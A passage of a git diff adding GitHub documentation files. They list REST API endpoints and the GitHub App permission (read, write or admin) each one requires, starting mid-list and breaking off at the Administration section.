/orgs/{org}/hooks/{hook_id}/deliveries`](/rest/reference/orgs#list-deliveries-for-an-organization-webhook) (read) +- [`GET /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/reference/orgs#get-a-webhook-delivery-for-an-organization-webhook) (read) +- [`POST /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/reference/orgs#redeliver-a-delivery-for-an-organization-webhook) (write) +- [`POST /orgs/{org}/hooks/{hook_id}/pings`](/rest/reference/orgs#ping-an-organization-webhook) (write) + +## Organization projects + +- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions) (admin) +- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team) (admin) +- [`GET /orgs/{org}/projects`](/rest/reference/projects#list-organization-projects) (read) +- [`POST /orgs/{org}/projects`](/rest/reference/projects#create-an-organization-project) (write) + +## Organization secrets + +- [`GET /orgs/{org}/actions/secrets`](/rest/reference/actions#list-organization-secrets) (read) +- [`GET /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#get-an-organization-secret) (read) +- [`PUT /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-an-organization-secret) (write) +- [`DELETE /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-an-organization-secret) (write) +- [`GET /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) (read) +- [`PUT /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) (write) +- [`GET /orgs/{org}/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key) (read) + +## Organization self hosted runners + +- [`GET /orgs/{org}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-organization) (read) +- [`POST /orgs/{org}/actions/runner-groups`](/rest/reference/actions#create-a-self-hosted-runner-group-for-an-organization) (write) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-organization) (read) +- [`PATCH /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization) (write) +- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-organization) (write) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#list-repository-access-to-a-self-hosted-runner-group-in-an-organization) (read) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#set-repository-access-to-a-self-hosted-runner-group-in-an-organization) (write) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-organization) (read) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization) (write) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-organization) (write) +- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization) (write) +- [`GET /orgs/{org}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (read) +- [`GET /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (read) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (write) +- [`GET /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (read) +- [`POST /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (write) +- [`PUT /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (write) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (write) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (write) +- [`GET /orgs/{org}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (read) +- [`POST /orgs/{org}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (write) +- [`POST /orgs/{org}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (write) + +## Organization user blocking + +- [`GET /orgs/{org}/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (read) +- [`GET /orgs/{org}/blocks/{username}`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (read) +- [`PUT /orgs/{org}/blocks/{username}`](/rest/reference/orgs#block-a-user-from-an-organization) (write) +- [`DELETE /orgs/{org}/blocks/{username}`](/rest/reference/orgs#unblock-a-user-from-an-organization) (write) + +## Pages + +- [`GET /repos/{owner}/{repo}/pages`](/rest/pages#get-a-github-pages-site) (read) +- [`PUT /repos/{owner}/{repo}/pages`](/rest/pages#update-information-about-a-github-pages-site) (write) +- [`GET /repos/{owner}/{repo}/pages/builds`](/rest/pages#list-github-pages-builds) (read) +- [`POST /repos/{owner}/{repo}/pages/builds`](/rest/pages#request-a-github-pages-build) (write) +- [`GET /repos/{owner}/{repo}/pages/builds/{build_id}`](/rest/pages#get-github-pages-build) (read) +- [`GET /repos/{owner}/{repo}/pages/builds/latest`](/rest/pages#get-latest-pages-build) (read) +- [`POST /repos/{owner}/{repo}/pages/deployment`](/rest/pages#create-a-github-pages-deployment) (write) +- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages) (write) + +## Plan + +- [`GET /users/{username}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-a-user) (read) +- [`GET /users/{username}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-a-user) (read) +- [`GET /users/{username}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-a-user) (read) + +## Profile + +- [`PATCH /user`](/rest/reference/users/#update-the-authenticated-user) (write) + +## Pull requests + +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request) (read) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository) (read) +- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) (read) +- [`PATCH /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (write) +- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (write) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (write) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#get-all-requested-reviewers-for-a-pull-request) (read) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (write) +- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (read) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#get-a-review-for-a-pull-request) (read) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#update-a-review-for-a-pull-request) (write) +- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (read) +- [`GET /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#list-pull-requests) (read) +- [`POST /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#create-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request) (read) +- [`PATCH /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls/#update-a-pull-request) (write) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/commits`](/rest/reference/pulls#list-commits-on-a-pull-request) (read) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/files`](/rest/reference/pulls#list-pull-requests-files) (read) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) (read) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch`](/rest/reference/pulls#update-a-pull-request-branch) (write) +- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) (read) +- [`POST /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) (write) +- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write) +- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits) (read) + +## Repository hooks + +- [`GET /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#list-repository-webhooks) (read) +- [`POST /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#create-a-repository-webhook) (write) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#get-a-repository-webhook) (read) +- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#update-a-repository-webhook) (write) +- [`DELETE /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#delete-a-repository-webhook) (write) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#get-a-webhook-configuration-for-a-repository) (read) +- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#update-a-webhook-configuration-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries`](/rest/webhooks/repo-deliveries#list-deliveries-for-a-repository-webhook) (read) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/webhooks/repo-deliveries#get-a-delivery-for-a-repository-webhook) (read) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/webhooks/repo-deliveries#redeliver-a-delivery-for-a-repository-webhook) (write) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/pings`](/rest/webhooks/repos#ping-a-repository-webhook) (read) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/tests`](/rest/webhooks/repos#test-the-push-repository-webhook) (read) + +## Repository projects + +- [`GET /projects/{project_id}/collaborators`](/rest/reference/projects#list-project-collaborators) (write) +- [`PUT /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#add-project-collaborator) (write) +- [`DELETE /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#remove-project-collaborator) (write) +- [`GET /projects/{project_id}/collaborators/{username}/permission`](/rest/reference/projects#get-project-permission-for-a-user) (write) +- [`GET /projects/{project_id}`](/rest/reference/projects#get-a-project) (read) +- [`PATCH /projects/{project_id}`](/rest/reference/projects#update-a-project) (write) +- [`DELETE /projects/{project_id}`](/rest/reference/projects#delete-a-project) (write) +- [`GET /projects/{project_id}/columns`](/rest/reference/projects#list-project-columns) (read) +- [`POST /projects/{project_id}/columns`](/rest/reference/projects#create-a-project-column) (write) +- [`GET /projects/columns/{column_id}`](/rest/reference/projects#get-a-project-column) (read) +- [`PATCH /projects/columns/{column_id}`](/rest/reference/projects#update-a-project-column) (write) +- [`DELETE /projects/columns/{column_id}`](/rest/reference/projects#delete-a-project-column) (write) +- [`GET /projects/columns/{column_id}/cards`](/rest/reference/projects#list-project-cards) (read) +- [`POST /projects/columns/{column_id}/cards`](/rest/reference/projects#create-a-project-card) (write) +- [`POST /projects/columns/{column_id}/moves`](/rest/reference/projects#move-a-project-column) (write) +- [`GET /projects/columns/cards/{card_id}`](/rest/reference/projects#get-a-project-card) (read) +- [`PATCH /projects/columns/cards/{card_id}`](/rest/reference/projects#update-a-project-card) (write) +- [`DELETE /projects/columns/cards/{card_id}`](/rest/reference/projects#delete-a-project-card) (write) +- [`POST /projects/columns/cards/{card_id}/moves`](/rest/reference/projects#move-a-project-card) (write) +- [`GET /repos/{owner}/{repo}/projects`](/rest/reference/projects#list-repository-projects) (read) +- [`POST /repos/{owner}/{repo}/projects`](/rest/reference/projects#create-a-repository-project) (write) + +## Secret scanning alerts + +- [`GET /orgs/{org}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-organization) (read) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (read) +- [`PATCH /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (write) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (read) + +## Secrets + +- [`GET /repos/{owner}/{repo}/actions/secrets`](/rest/reference/actions#list-repository-secrets) (read) +- [`GET /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#get-a-repository-secret) (read) +- [`PUT /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-a-repository-secret) (write) +- [`DELETE /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-a-repository-secret) (write) +- [`GET /repos/{owner}/{repo}/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (read) + +## Security events + +- [`GET /orgs/{org}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization) (read) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#get-a-code-scanning-alert) (read) +- [`PATCH /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#update-a-code-scanning-alert) (write) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert) (read) +- [`GET /repos/{owner}/{repo}/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository) (read) +- [`DELETE /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository) (write) +- [`GET /repos/{owner}/{repo}/code-scanning/sarifs/{sarif_id}`](/rest/reference/code-scanning#list-recent-code-scanning-analyses-for-a-repository) (read) +- [`POST /repos/{owner}/{repo}/code-scanning/sarifs`](/rest/reference/code-scanning#upload-a-sarif-file) (write) +- [`GET /repos/{owner}/{repo}/dependabot/alerts`](/rest/reference/dependabot#list-dependabot-alerts-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#get-a-dependabot-alert) (read) +- [`PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#update-a-dependabot-alert) (write) + +## Starring + +- [`GET /users/{username}/starred`](/rest/reference/activity#list-repositories-starred-by-a-user) (read) +- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-the-authenticated-user) (read) +- [`GET /user/starred/{owner}/{repo}`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (read) +- [`PUT /user/starred/{owner}/{repo}`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (write) +- [`DELETE /user/starred/{owner}/{repo}`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (write) + +## Statuses + +- [`POST /repos/{owner}/{repo}/statuses/{sha}`](/rest/commits/statuses#create-a-commit-status) (write) + +## Team discussions + +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) (read) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion) (read) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-reaction) (write) +- [`GET /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#list-discussions) (read) +- [`POST /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#create-a-discussion) (write) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#get-a-discussion) (read) +- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#update-a-discussion) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#delete-a-discussion) (write) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#list-discussion-comments) (read) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#create-a-discussion-comment) (write) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#get-a-discussion-comment) (read) +- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#update-a-discussion-comment) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#delete-a-discussion-comment) (write) + +## Watching + +- [`GET /users/{username}/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) (read) +- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-the-authenticated-user) (read) diff --git a/translations/ru-RU/content/rest/overview/permissions-required-for-github-apps.md b/translations/ru-RU/content/rest/overview/permissions-required-for-github-apps.md new file mode 100644 index 000000000000..3d7ecba758da --- /dev/null +++ b/translations/ru-RU/content/rest/overview/permissions-required-for-github-apps.md @@ -0,0 +1,973 @@ +--- +title: Permissions required for GitHub Apps +intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.' +redirect_from: + - /v3/apps/permissions + - /rest/reference/permissions-required-for-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +shortTitle: GitHub App permissions +--- + +## About {% data variables.product.prodname_github_app %} permissions + +{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)." + +## Metadata + +GitHub Apps have the **Read-only** metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information. + +If you set the metadata permission to **No access** and select a permission that requires repository access, GitHub will override your selection and set the metadata permission back to **Read-only**. To set the metadata permission to **No access**, you must set all permissions that require repository access to **No access** first. + +- [`GET /`](/rest#root-endpoint) +- [`GET /codes_of_conduct`](/rest/reference/codes-of-conduct#get-all-codes-of-conduct) +- [`GET /codes_of_conduct/:key`](/rest/reference/codes-of-conduct#get-a-code-of-conduct) +- [`GET /emojis`](/rest/reference/emojis#emojis) +- [`GET /feeds`](/rest/reference/activity#get-feeds) +- [`GET /licenses`](/rest/reference/licenses#get-all-commonly-used-licenses) +- [`GET /licenses/:key`](/rest/reference/licenses#get-a-license) +- [`POST /markdown`](/rest/reference/markdown#render-a-markdown-document) +- [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode) +- [`GET /meta`](/rest/reference/meta#meta) +- [`GET /organizations`](/rest/reference/orgs#list-organizations) +- [`GET /orgs/:org`](/rest/reference/orgs#get-an-organization) +- [`GET /orgs/:org/projects`](/rest/reference/projects#list-organization-projects) +- [`GET /orgs/:org/repos`](/rest/reference/repos#list-organization-repositories) +- [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user) +- [`GET /repos/:owner/:repo`](/rest/reference/repos#get-a-repository) +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/community/profile`](/rest/reference/repository-metrics#get-community-profile-metrics) +{% endif -%} +- [`GET /repos/:owner/:repo/contributors`](/rest/reference/repos#list-repository-contributors) +- [`GET /repos/:owner/:repo/forks`](/rest/reference/repos#list-forks) +- [`GET /repos/:owner/:repo/languages`](/rest/reference/repos#list-repository-languages) +- [`GET /repos/:owner/:repo/license`](/rest/reference/licenses#get-the-license-for-a-repository) +- [`GET /repos/:owner/:repo/stargazers`](/rest/reference/activity#list-stargazers) +- [`GET /repos/:owner/:repo/stats/code_frequency`](/rest/reference/repository-metrics#get-the-weekly-commit-activity) +- [`GET /repos/:owner/:repo/stats/commit_activity`](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity) +- [`GET /repos/:owner/:repo/stats/contributors`](/rest/reference/repository-metrics#get-all-contributor-commit-activity) +- [`GET /repos/:owner/:repo/stats/participation`](/rest/reference/repository-metrics#get-the-weekly-commit-count) +- [`GET /repos/:owner/:repo/stats/punch_card`](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day) +- [`GET /repos/:owner/:repo/subscribers`](/rest/reference/activity#list-watchers) +- [`GET /repos/:owner/:repo/tags`](/rest/reference/repos#list-repository-tags) +- [`GET /repos/:owner/:repo/topics`](/rest/reference/repos#get-all-repository-topics) +- [`GET /repositories`](/rest/reference/repos#list-public-repositories) +- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user) +- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-a-user) +- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) +- [`GET /users`](/rest/reference/users#list-users) +- [`GET /users/:username`](/rest/reference/users#get-a-user) +- [`GET /users/:username/followers`](/rest/reference/users#list-followers-of-a-user) +- [`GET /users/:username/following`](/rest/reference/users#list-the-people-a-user-follows) +- [`GET /users/:username/following/:target_user`](/rest/reference/users#check-if-a-user-follows-another-user) +- [`GET /users/:username/gpg_keys`](/rest/reference/users#list-gpg-keys-for-a-user) +- [`GET /users/:username/orgs`](/rest/reference/orgs#list-organizations-for-a-user) +- [`GET /users/:username/received_events`](/rest/reference/activity#list-events-received-by-the-authenticated-user) +- [`GET /users/:username/received_events/public`](/rest/reference/activity#list-public-events-received-by-a-user) +- [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user) +- [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) + +### Collaborators +- [`GET /repos/:owner/:repo/collaborators`](/rest/reference/collaborators#list-repository-collaborators) +- [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator) + +### Commit comments +- [`GET /repos/:owner/:repo/comments`](/rest/reference/commits#list-commit-comments-for-a-repository) +- [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#get-a-commit-comment) +- [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) +- [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#list-commit-comments) + +### Events +- [`GET /events`](/rest/reference/activity#list-public-events) +- [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories) +- [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events) +- [`GET /repos/:owner/:repo/events`](/rest/reference/activity#list-repository-events) +- [`GET /repos/:owner/:repo/events/issues`](/rest/reference/issues#list-issue-events-for-a-repository) +- [`GET /users/:username/events`](/rest/reference/activity#list-events-for-the-authenticated-user) +- [`GET /users/:username/events/public`](/rest/reference/activity#list-public-events-for-a-user) + +### Git +- [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates) +- [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template) + +### Organization members +- [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members) +- [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user) +- [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members) +- [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user) + +### Search +- [`GET /search/code`](/rest/reference/search#search-code) +- [`GET /search/commits`](/rest/reference/search#search-commits) +- [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests) +- [`GET /search/labels`](/rest/reference/search#search-labels) +- [`GET /search/repositories`](/rest/reference/search#search-repositories) +- [`GET /search/topics`](/rest/reference/search#search-topics) +- [`GET /search/users`](/rest/reference/search#search-users) + +### SSH keys +- [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user) + +{% ifversion fpt or ghes or ghec %} +## Actions + +- [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (read) +- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (read) +- [`DELETE /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#delete-an-artifact) (write) +- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id/zip`](/rest/reference/actions#download-an-artifact) (read) +{% ifversion actions-cache-management -%} +- [`GET /repos/:owner/:repo/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository) (read) +{% endif -%} +- [`GET /repos/:owner/:repo/actions/jobs/:job_id`](/rest/reference/actions#get-a-job-for-a-workflow-run) (read) +- [`GET /repos/:owner/:repo/actions/jobs/:job_id/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) (read) +- [`GET /repos/:owner/:repo/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) (read) +- [`GET /repos/:owner/:repo/actions/runs/:run_id`](/rest/reference/actions#get-a-workflow-run) (read) +{% ifversion fpt or ghec -%} +- [`POST /repos/:owner/:repo/actions/runs/:run_id/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request) (write) +{% endif -%} +- [`GET /repos/:owner/:repo/actions/runs/:run_id/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) (read) +- [`POST /repos/:owner/:repo/actions/runs/:run_id/cancel`](/rest/reference/actions#cancel-a-workflow-run) (write) +- [`GET /repos/:owner/:repo/actions/runs/:run_id/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) (read) +- [`GET /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#download-workflow-run-logs) (read) +- [`DELETE /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#delete-workflow-run-logs) (write) +- [`POST /repos/:owner/:repo/actions/runs/:run_id/rerun`](/rest/reference/actions#re-run-a-workflow) (write) +- [`GET /repos/:owner/:repo/actions/workflows`](/rest/reference/actions#list-repository-workflows) (read) +- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id`](/rest/reference/actions#get-a-workflow) (read) +- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (read) +- [`POST /repos/:owner/:repo/actions/workflows/:workflow_id/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event) (write) +{% endif %} + +## Administration + +- [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (write) +- [`PATCH 